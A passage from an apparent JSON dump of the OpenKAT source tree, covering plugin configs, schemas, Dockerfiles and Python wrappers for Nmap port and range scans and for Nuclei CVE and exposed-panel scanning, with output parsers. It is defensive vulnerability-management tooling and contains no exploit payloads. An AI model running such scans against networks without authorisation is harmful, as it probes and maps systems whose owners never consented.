    "content": "{\n  \"id\": \"nmap-ip-range\",\n  \"name\": \"Nmap IP range\",\n  \"description\": \"Scan an IP range and store found IPs. Defaults to top-250 TCP and top-10 UDP on ranges with 1024 addresses or less (max is a /22). Larger ranges are skipped by default.\",\n  \"consumes\": [\n    \"IPV6NetBlock\",\n    \"IPV4NetBlock\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nmap:latest\",\n  \"oci_arguments\": [\n    \"--open\",\n    \"-T4\",\n    \"-Pn\",\n    \"-r\",\n    \"-v10\",\n    \"-sV\",\n    \"-sS\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ip_range/description.md",
    "content": "# Nmap\n\nNmap is a network scanning tool that uses IP packets to identify all the devices connected to a network and to provide\ninformation on the services and operating systems they are running. In KAT, a Python wrapper around Nmap is used to find\nopen ports with their services of an IpAddress. Nmap itself runs in a temporary Docker container.\n\n### Options\n\nThis Nmap has the following hardcoded options:\n\n| Option | Function                                     |\n| ------ | -------------------------------------------- |\n| `T4`   | assume a fast and reliable network           |\n| `Pn`   | skips host discovery, treats hosts as online |\n| `-r`   | scan ports in order                          |\n| `-v10` | use verbosity level 10                       |\n| `-sV`  | probe open ports to determine version info   |\n| `-oX`  | Output in XML                                |\n| `-sS`  | TCP SYN scan                                 |\n\n`TOP_PORTS` defaults to `250`.\n\n### Input OOIs\n\nNmap expects an IpAddress or NetBlock as input which, can be of type IpAddressV4, IpAddressV6, IPV4NetBlock or IPV6NetBlock.\n\n### Output OOIs\n\nNmap outputs the following OOIs:\n\n| OOI type       | Description                                                   |\n| -------------- | ------------------------------------------------------------- |\n| IpPort         | Open ports of IpAddress                                       |\n| Service        | Services that are found                                       |\n| IpService      | IpService that couples a service to an open port              |\n| Finding        | Finding if ports are open that should not be open (TEMP!)     |\n| KatFindingType | FindingType if ports are open that should not be open (TEMP!) |\n\n### Running Boefje\n\n```json\n{\n  \"id\": \"nmap-scan-job\",\n  \"organization\": \"_dev\",\n  \"arguments\": {\n    \"host\": \"1.1.1.1\"\n  }\n}\n```\n\n### Boefje structure\n\n```\nboefjes/tools/kat_nmap\n├── normalize.py\n├── main.py\n```\n\n**Cat name**: Elsje\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ip_range/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"TOP_PORTS\": {\n      \"title\": \"TOP_PORTS\",\n      \"type\": \"integer\",\n      \"minimum\": 1,\n      \"maximum\": 65535,\n      \"default\": 250,\n      \"description\": \"Scan TOP_PORTS most common TCP ports. Defaults to 250.\"\n    },\n    \"TOP_PORTS_UDP\": {\n      \"title\": \"TOP_PORTS_UDP\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 65535,\n      \"default\": 10\n    },\n    \"MIN_VLSM_IPV4\": {\n      \"title\": \"MIN_VLSM_IPV4\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 32,\n      \"default\": 22,\n      \"description\": \"Minimum variable-length subnet mask for IPv4-ranges. Defaults to 22. Use this value to prevent scanning large ranges.\"\n    },\n    \"MIN_VLSM_IPV6\": {\n      \"title\": \"MIN_VLSM_IPV6\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 128,\n      \"default\": 118,\n      \"description\": \"Minimum variable-length subnet mask for IPv6-ranges. Defaults to 118. Use this value to prevent scanning large ranges.\"\n    }\n  },\n  \"required\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ports/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ports/boefje.json",
    "content": "{\n  \"id\": \"nmap-ports\",\n  \"name\": \"Nmap Ports\",\n  \"description\": \"Scan a specific set of ports including service detection.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\",\n    \"IPV6NetBlock\",\n    \"IPV4NetBlock\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nmap:latest\",\n  \"oci_arguments\": [\n    \"-T4\",\n    \"-Pn\",\n    \"-r\",\n    \"-v10\",\n    \"-sV\",\n    \"-sS\",\n    \"-sU\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ports/description.md",
    "content": "# Nmap Ports\n\nNmap is a network scanning tool that uses IP packets to identify all the devices connected to a network and to provide\ninformation on the services and operating systems they are running. In KAT, a Python wrapper around Nmap is used to find\nopen ports with their services of an IpAddress. Nmap itself runs in a temporary Docker container. This boefje allows to\nscan specific ports.\n\n### Options\n\nThis Nmap boefje has the following hardcoded options:\n\n| Option | Function                                     |\n| ------ | -------------------------------------------- |\n| `T4`   | assume a fast and reliable network           |\n| `Pn`   | skips host discovery, treats hosts as online |\n| `-r`   | scan ports in order                          |\n| `-v10` | use verbosity level 10                       |\n| `-sV`  | probe open ports to determine version info   |\n| `-sS`  | scan TCP SYN                                 |\n| `-sU`  | Scan UDP (slower)                            |\n| `-oX`  | Output in XML                                |\n\nThe PORTS variable is given as the argument for `-p` (see the Nmap documentation for more information).\n\n### Input OOIs\n\nNmap expects an IpAddress as input which can be of type IpAddressV4 or IpAddressV6.\n\n### Output OOIs\n\nNmap outputs the following OOIs:\n\n| OOI type       | Description                                                   |\n| -------------- | ------------------------------------------------------------- |\n| IpPort         | Open ports of IpAddress                                       |\n| Service        | Services that are found                                       |\n| IpService      | IpService that couples a service to an open port              |\n| Finding        | Finding if ports are open that should not be open (TEMP!)     |\n| KatFindingType | FindingType if ports are open that should not be open (TEMP!) |\n\nThe boefje uses the same normalizer and structure as the generic `kat_nmap` boefje.\n\n**Cat name**: Elsje (inverted)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_ports/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"PORTS\": {\n      \"title\": \"PORTS\",\n      \"maxLength\": 2048,\n      \"type\": \"string\",\n      \"pattern\": \"^((6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})|(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})-(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4}))$|^((6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})|(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})-(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4}))(,((6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})|(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})-(6553[0-5]|655[0-2]\\\\d|65[0-4]\\\\d{2}|6[0-4]\\\\d{3}|[1-5]\\\\d{4}|\\\\d{1,4})))+$\",\n      \"description\": \"Specify the ports that need to be scanned (nmap format). Single ports are comma separated, port ranges can be specified using the dash symbol. For example: 22,111,137,80-100 will scan ports 22, 111, 137 and the port range 80 up to 100.\"\n    },\n    \"MIN_VLSM_IPV4\": {\n      \"title\": \"MIN_VLSM_IPV4\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 32,\n      \"default\": 22,\n      \"description\": \"Minimum variable-length subnet mask for IPv4-ranges. Defaults to 22. Use this value to prevent scanning large ranges.\"\n    },\n    \"MIN_VLSM_IPV6\": {\n      \"title\": \"MIN_VLSM_IPV6\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 128,\n      \"default\": 118,\n      \"description\": \"Minimum variable-length subnet mask for IPv6-ranges. Defaults to 118. Use this value to prevent scanning large ranges.\"\n    }\n  },\n  \"required\": [\n    \"PORTS\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/nmap:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nUSER root\nRUN apt-get update && apt-get install -y --no-install-recommends nmap\n\nCOPY ./boefjes/plugins/kat_nmap_tcp ./kat_nmap_tcp\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/boefje.json",
    "content": "{\n  \"id\": \"nmap\",\n  \"name\": \"Nmap TCP\",\n  \"description\": \"Defaults to top 250 TCP ports. Includes service detection.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\",\n    \"IPV6NetBlock\",\n    \"IPV4NetBlock\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nmap:latest\",\n  \"oci_arguments\": [\n    \"--open\",\n    \"-T4\",\n    \"-Pn\",\n    \"-r\",\n    \"-v10\",\n    \"-sV\",\n    \"-sS\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/description.md",
    "content": "# Nmap\n\nNmap is a network scanning tool that uses IP packets to identify all the devices connected to a network and to provide\ninformation on the services and operating systems they are running. In KAT, a Python wrapper around Nmap is used to find\nopen ports with their services of an IpAddress. Nmap itself runs in a temporary Docker container.\n\n### Options\n\nThis Nmap has the following hardcoded options:\n\n| Option | Function                                     |\n| ------ | -------------------------------------------- |\n| `T4`   | assume a fast and reliable network           |\n| `Pn`   | skips host discovery, treats hosts as online |\n| `-r`   | scan ports in order                          |\n| `-v10` | use verbosity level 10                       |\n| `-sV`  | probe open ports to determine version info   |\n| `-oX`  | Output in XML                                |\n| `-sS`  | TCP SYN scan                                 |\n\n`TOP_PORTS` defaults to `250`.\n\n### Input OOIs\n\nNmap expects an IpAddress or NetBlock as input which, can be of type IpAddressV4, IpAddressV6, IPV4NetBlock or IPV6NetBlock.\n\n### Output OOIs\n\nNmap outputs the following OOIs:\n\n| OOI type       | Description                                                   |\n| -------------- | ------------------------------------------------------------- |\n| IpPort         | Open ports of IpAddress                                       |\n| Service        | Services that are found                                       |\n| IpService      | IpService that couples a service to an open port              |\n| Finding        | Finding if ports are open that should not be open (TEMP!)     |\n| KatFindingType | FindingType if ports are open that should not be open (TEMP!) |\n\n### Running Boefje\n\n```json\n{\n  \"id\": \"nmap-scan-job\",\n  \"organization\": \"_dev\",\n  \"arguments\": {\n    \"host\": \"1.1.1.1\"\n  }\n}\n```\n\n### Boefje structure\n\n```\nboefjes/tools/kat_nmap\n├── normalize.py\n├── main.py\n```\n\n**Cat name**: Elsje\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/main.py",
    "content": "import logging\nimport os\nimport re\nimport subprocess\nfrom ipaddress import IPv4Address, IPv4Network, IPv6Address, IPv6Network, _BaseAddress, ip_address, ip_network\n\nTOP_PORTS_DEFAULT = 250\nTOP_PORTS_UDP_DEFAULT = 250\nTOP_PORTS_NETWORK_UDP_DEFAULT = 10\nTOP_PORTS_MAX = 65535\nTOP_PORTS_MIN = 1\nNMAP_VALID_PORTS = re.compile(\n    \"\\\\s*([TUSP]:)?(\\\\d+|[a-z*?]+|(\\\\[?\\\\d*-\\\\d*\\\\]?))(,(([TUSP]:)|\\\\s)?(\\\\d+|[a-z*?]+|(\\\\[?\\\\d*-\\\\d*\\\\]?)))*\"\n)\n\n\nclass UnacceptedVSLM(Exception):\n    pass\n\n\ndef validate_ports(ports: str | None) -> str:\n    \"\"\"Returns ports argument if valid. Double slashes are for flake8 W605.\n\n    A valid port is:\n    - a single port (set of digits) {22}\n        - Regex: \\\\d+\n    - a port range (optional digits separated by hyphen, optionally bracketed) {[80-]}\n        - Regex: (\\\\[?\\\\d*-\\\\d*\\\\]?)\n    - a valid Nmap protocol (alfanumeric wildcarded lowercase) {https*}\n        - Regex: [a-z*?]+\n\n    There needs to be at least one valid port. Multiple ports can be separated by a comma (',').\n    A port can be preceded by 'T:', 'U:', 'S:' or 'P:' to specify a protocol\n        - Regex: ([TUSP]:)?\n    There can be spaces between the flag and its arguments.\n        - Regex: \\\\s*\n\n    Regex: \"\\\\s*([TUSP]:)?(\\\\d+|[a-z*?]+|(\\\\[?\\\\d*-\\\\d*\\\\]?))(,(([TUSP]:)|\\\\s)?(\\\\d+|[a-z*?]+|(\\\\[?\\\\d*-\\\\d*\\\\]?)))*\"\n\n    See also: https://nmap.org/book/port-scanning-options.html.\n    \"\"\"\n    if ports is None:\n        raise ValueError('\"PORTS\" argument is not specified.')\n    if NMAP_VALID_PORTS.fullmatch(ports) is None:\n        raise ValueError(f'Invalid PORTS argument \"{ports}\"')\n    return ports\n\n\ndef parse_input_ooi(input_ooi: dict) -> IPv4Address | IPv6Address | IPv4Network | IPv6Network:\n    if input_ooi[\"object_type\"] == \"IPAddressV4\" or input_ooi[\"object_type\"] == \"IPAddressV6\":\n        return ip_address(input_ooi[\"address\"])\n\n    if input_ooi[\"object_type\"] == \"IPV4NetBlock\" or input_ooi[\"object_type\"] == \"IPV6NetBlock\":\n        network = ip_network(f\"{input_ooi['start_ip']['address']}/{str(input_ooi['mask'])}\")\n        min_mask = int(os.getenv(\"MIN_VLSM_IPV4\", 22))\n\n        if isinstance(network, IPv6Network):\n            min_mask = int(os.getenv(\"MIN_VLSM_IPV6\", 118))\n\n        if network.prefixlen < min_mask:\n            logging.info(\"Minimum expected VLSM %d > %d, skipping this range.\", min_mask, network.prefixlen)\n            raise UnacceptedVSLM(\"Skipping range due to unaccepted VSLM.\")\n\n        return network\n\n    raise ValueError(\"Invalid OOI type\")\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    try:\n        input_ips = parse_input_ooi(boefje_meta[\"arguments\"][\"input\"])\n    except UnacceptedVSLM as e:\n        return [({\"info/boefje\"}, str(e))]\n\n    cmd = [\"nmap\"] + boefje_meta[\"arguments\"][\"oci_arguments\"]\n\n    if os.getenv(\"PORTS\"):\n        cmd.append(f\"-p{validate_ports(ports=os.getenv('PORTS'))}\")\n    else:\n        if \"-sU\" in cmd:  # I.e. we are doing an udp scan\n            default = TOP_PORTS_UDP_DEFAULT if isinstance(input_ips, _BaseAddress) else TOP_PORTS_NETWORK_UDP_DEFAULT\n            top_ports = int(os.getenv(\"TOP_PORTS_UDP\", default))\n        else:\n            top_ports = int(os.getenv(\"TOP_PORTS\", TOP_PORTS_DEFAULT))\n\n        if not TOP_PORTS_MIN <= top_ports <= TOP_PORTS_MAX:\n            raise ValueError(f\"The value of top_ports is invalid: {top_ports}\")\n\n        cmd.extend([\"--top-ports\", str(top_ports)])\n\n    if isinstance(input_ips, IPv6Address | IPv6Network):\n        cmd.append(\"-6\")\n\n    cmd.extend([\"-oX\", \"-\", str(input_ips)])\n\n    output = subprocess.run(cmd, capture_output=True)\n    output.check_returncode()\n\n    return [({\"openkat/nmap-output\"}, output.stdout.decode())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/normalize.py",
    "content": "import logging\nfrom collections.abc import Iterable, Iterator\n\nfrom libnmap.objects import NmapHost, NmapService\nfrom libnmap.parser import NmapParser\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.service import IPService, Service\n\n\ndef get_ip_ports_and_service(host: NmapHost, network: Network, netblock: Reference | None) -> Iterator[OOI]:\n    \"\"\"Yields IPs, open ports and services if any ports are open on this host.\"\"\"\n    open_ports = host.get_open_ports()\n    if open_ports:\n        ip = (\n            IPAddressV4(network=network.reference, address=host.address, netblock=netblock)\n            if host.ipv4\n            else IPAddressV6(network=network.reference, address=host.address, netblock=netblock)\n        )\n\n        for port, protocol in open_ports:\n            service: NmapService = host.get_service(port, protocol)\n\n            # If service is tcpwrapped we should consider the port closed\n            if service.service == \"tcpwrapped\":\n                continue\n\n            ip_port = IPPort(\n                address=ip.reference, protocol=Protocol(protocol), port=port, state=PortState(service.state)\n            )\n            yield ip_port\n\n            service_name = service.service\n            if service.tunnel == \"ssl\":\n                if service_name == \"http\":\n                    service_name = \"https\"\n                elif service_name == \"smtp\":\n                    service_name = \"smtps\"\n                elif service_name == \"imap\":\n                    service_name = \"imaps\"\n                elif service_name == \"pop3\":\n                    service_name = \"pop3s\"\n                elif service_name == \"ftp\":\n                    service_name = \"ftps\"\n\n            port_service = Service(name=service_name)\n            yield port_service\n\n            ip_service = IPService(ip_port=ip_port.reference, service=port_service.reference)\n            yield ip_service\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    \"\"\"Decouple and parse Nmap XMLs and yield relevant network.\"\"\"\n    # Multiple XMLs are concatenated through \"\\n\\n\". XMLs end with \"\\n\"; we split on \"\\n\\n\\n\".\n    raw_splitted = raw.decode().split(\"\\n\\n\\n\")\n\n    # Relevant network object is received from the normalizer_meta.\n    network = Network(name=input_ooi[\"network\"][\"name\"])\n\n    netblock_ref = None\n    if \"NetBlock\" in input_ooi[\"object_type\"]:\n        netblock_ref = Reference.from_str(input_ooi[\"primary_key\"])\n\n    logging.info(\"Parsing %d Nmap-xml(s) for %s.\", len(raw_splitted), network)\n    for r in raw_splitted:\n        for host in NmapParser.parse_fromstring(r).hosts:\n            yield from get_ip_ports_and_service(host=host, network=network, netblock=netblock_ref)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/normalizer.json",
    "content": "{\n  \"id\": \"kat_nmap_normalize\",\n  \"name\": \"nmap\",\n  \"description\": \"Parses data from all nmap variants into IP-addresses, ports and services.\",\n  \"consumes\": [\n    \"boefje/nmap\",\n    \"boefje/nmap-udp\",\n    \"boefje/nmap-ports\",\n    \"boefje/nmap-ip-range\",\n    \"openkat/nmap-output\"\n  ],\n  \"produces\": [\n    \"IPAddressV6\",\n    \"Service\",\n    \"IPPort\",\n    \"IPAddressV4\",\n    \"IPService\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_tcp/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"TOP_PORTS\": {\n      \"title\": \"TOP_PORTS\",\n      \"type\": \"integer\",\n      \"minimum\": 1,\n      \"maximum\": 65535,\n      \"default\": 250,\n      \"description\": \"Scan TOP_PORTS most common TCP ports. Defaults to 250.\"\n    },\n    \"MIN_VLSM_IPV4\": {\n      \"title\": \"MIN_VLSM_IPV4\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 32,\n      \"default\": 22,\n      \"description\": \"Minimum variable-length subnet mask for IPv4-ranges. Defaults to 22. Use this value to prevent scanning large ranges.\"\n    },\n    \"MIN_VLSM_IPV6\": {\n      \"title\": \"MIN_VLSM_IPV6\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 128,\n      \"default\": 118,\n      \"description\": \"Minimum variable-length subnet mask for IPv6-ranges. Defaults to 118. Use this value to prevent scanning large ranges.\"\n    }\n  },\n  \"required\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_udp/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_udp/boefje.json",
    "content": "{\n  \"id\": \"nmap-udp\",\n  \"name\": \"Nmap UDP\",\n  \"description\": \"Defaults to top 250 UDP ports. Includes service detection.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\",\n    \"IPV6NetBlock\",\n    \"IPV4NetBlock\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nmap:latest\",\n  \"oci_arguments\": [\n    \"--open\",\n    \"-T4\",\n    \"-Pn\",\n    \"-r\",\n    \"-v10\",\n    \"-sV\",\n    \"-sU\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_udp/description.md",
    "content": "# Nmap\n\nNmap is a network scanning tool that uses IP packets to identify all the devices connected to a network and to provide\ninformation on the services and operating systems they are running. In KAT, a Python wrapper around Nmap is used to find\nopen ports with their services of an IpAddress. Nmap itself runs in a temporary Docker container.\n\n### Options\n\nThis Nmap has the following hardcoded options:\n\n| Option | Function                                     |\n| ------ | -------------------------------------------- |\n| `T4`   | assume a fast and reliable network           |\n| `Pn`   | skips host discovery, treats hosts as online |\n| `-r`   | scan ports in order                          |\n| `-v10` | use verbosity level 10                       |\n| `-sV`  | probe open ports to determine version info   |\n| `-oX`  | Output in XML                                |\n| `-sU`  | UDP scan                                     |\n\n`TOP_PORTS_UDP` defaults to `250`.\n\n### Input OOIs\n\nNmap expects an IpAddress as input which can be of type IpAddressV4 or IpAddressV6.\n\n### Output OOIs\n\nNmap outputs the following OOIs:\n\n| OOI type       | Description                                                   |\n| -------------- | ------------------------------------------------------------- |\n| IpPort         | Open ports of IpAddress                                       |\n| Service        | Services that are found                                       |\n| IpService      | IpService that couples a service to an open port              |\n| Finding        | Finding if ports are open that should not be open (TEMP!)     |\n| KatFindingType | FindingType if ports are open that should not be open (TEMP!) |\n\n### Running Boefje\n\n```json\n{\n  \"id\": \"nmap-scan-job\",\n  \"organization\": \"_dev\",\n  \"arguments\": {\n    \"host\": \"1.1.1.1\"\n  },\n  \"dispatches\": {\n    \"normalizers\": [\"kat_nmap.normalize\"],\n    \"boefjes\": []\n  }\n}\n```\n\n### Boefje structure\n\n```\nboefjes/tools/kat_nmap\n├── normalize.py\n├── main.py\n```\n\n**Cat name**: Elsje\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nmap_udp/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"TOP_PORTS_UDP\": {\n      \"title\": \"TOP_PORTS_UDP\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 65535,\n      \"default\": 250,\n      \"description\": \"Scan TOP_PORTS_UDP most common UDP ports. Defaults to 250 unless we are scanning a NetBlock, in which case we default to 10.\"\n    },\n    \"MIN_VLSM_IPV4\": {\n      \"title\": \"MIN_VLSM_IPV4\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 32,\n      \"default\": 22,\n      \"description\": \"Minimum variable-length subnet mask for IPv4-ranges. Defaults to 22. Use this value to prevent scanning large ranges.\"\n    },\n    \"MIN_VLSM_IPV6\": {\n      \"title\": \"MIN_VLSM_IPV6\",\n      \"type\": \"integer\",\n      \"minimum\": 0,\n      \"maximum\": 128,\n      \"default\": 118,\n      \"description\": \"Minimum variable-length subnet mask for IPv6-ranges. Defaults to 118. Use this value to prevent scanning large ranges.\"\n    }\n  },\n  \"required\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/boefje.Dockerfile",
    "content": "FROM golang:1.24-alpine AS build\nARG NUCLEI_VERSION=v3.2.4\n\nRUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@${NUCLEI_VERSION}\n\nFROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/nuclei:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nUSER root\nCOPY --from=build /go/bin/nuclei /usr/local/bin/\nCOPY ./boefjes/plugins/kat_nuclei_cve ./kat_nuclei_cve\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/boefje.json",
    "content": "{\n  \"id\": \"nuclei-cve\",\n  \"name\": \"Nuclei CVE scan\",\n  \"description\": \"Nuclei is used to send requests across targets based on a template, providing fast scanning. (CVE scanning).\",\n  \"consumes\": [\n    \"Hostname\"\n  ],\n  \"scan_level\": 3,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nuclei:latest\",\n  \"oci_arguments\": [\n    \"-t\",\n    \"/root/nuclei-templates/http/cves/\",\n    \"-jsonl\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/description.md",
    "content": "# Nuclei - Project discovery\n\nNuclei is used to send requests across targets based on a template, leading to zero false positives\nand providing fast scanning on a large number of hosts. Nuclei offers scanning for a variety of protocols,\nincluding TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless etc. With powerful and flexible templating,\nNuclei can be used to model all kinds of security checks.\n\nIntegrated in this Boefje are only the CVE templates for performance reasons.\n\n[More information about Nucelei](https://github.com/projectdiscovery/nuclei)\n\n### Input OOIs\n\nNuclei expects a Hostname/HostnameHTTPURL object of a website as input. The scan will then use the [CVE directory](https://github.com/projectdiscovery/nuclei-templates/tree/main/cves)\nto scan for known CVE's\n\nthis is handled by the following parameter in the \"main.py\" file\n\n```\n   \"-t\", \"/root/nuclei-templates/cves/\"\n```\n\n### Output OOIs\n\nNuclei outputs the following OOIs:\n\n| OOI type       | Description                                 |\n| -------------- | ------------------------------------------- |\n| CveFindingType | Returns CVE's found on the target hostnames |\n| Finding        | Finding                                     |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/main.py",
    "content": "import subprocess\n\n\ndef get_target_url(input_ooi: dict) -> str:\n    \"\"\"Extract scan target hostname from input OOI.\"\"\"\n    return input_ooi[\"name\"]\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    url = get_target_url(boefje_meta[\"arguments\"][\"input\"])\n    cmd = [\"/usr/local/bin/nuclei\"] + boefje_meta[\"arguments\"][\"oci_arguments\"] + [\"-u\", url]\n\n    output = subprocess.run(cmd, capture_output=True)\n    output.check_returncode()\n\n    return [({\"openkat/nuclei-output\"}, output.stdout.decode())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import CVEFindingType, Finding\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    url_reference = Reference.from_str(input_ooi[\"primary_key\"])\n    if raw:\n        for line in raw.splitlines():\n            # Extract and parse values\n            data = json.loads(line)\n            id_ = data[\"info\"][\"classification\"][\"cve-id\"][0].upper()\n            description = data[\"info\"][\"description\"]\n            curl_command = data[\"curl-command\"]\n\n            # Create instances of CVEFindingType and Finding classes\n            cve_finding_type = CVEFindingType(id=id_)\n            yield cve_finding_type\n\n            finding = Finding(\n                finding_type=cve_finding_type.reference,\n                ooi=url_reference,\n                proof=curl_command,\n                description=description,\n                reproduce=None,  # Set this attribute if you have a reproduce value\n            )\n            yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_cve/normalizer.json",
    "content": "{\n  \"id\": \"kat_nuclei_cve_normalize\",\n  \"name\": \"Nuclei CVE\",\n  \"description\": \"Parses Nuclei CVE data into findings.\",\n  \"consumes\": [\n    \"boefje/nuclei-cve\",\n    \"openkat/nuclei-output\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_exposed_panels/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_exposed_panels/boefje.json",
    "content": "{\n  \"id\": \"nuclei-exposed-panels\",\n  \"name\": \"Nuclei Exposed panels\",\n  \"description\": \"Nuclei is used to send requests across targets based on a template, providing fast scanning. Can be used to find specific exposed administrative panels in your network.\",\n  \"consumes\": [\n    \"Hostname\"\n  ],\n  \"scan_level\": 3,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nuclei:latest\",\n  \"oci_arguments\": [\n    \"/root/nuclei-templates/http/exposed-panels/\",\n    \"-jsonl\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_exposed_panels/description.md",
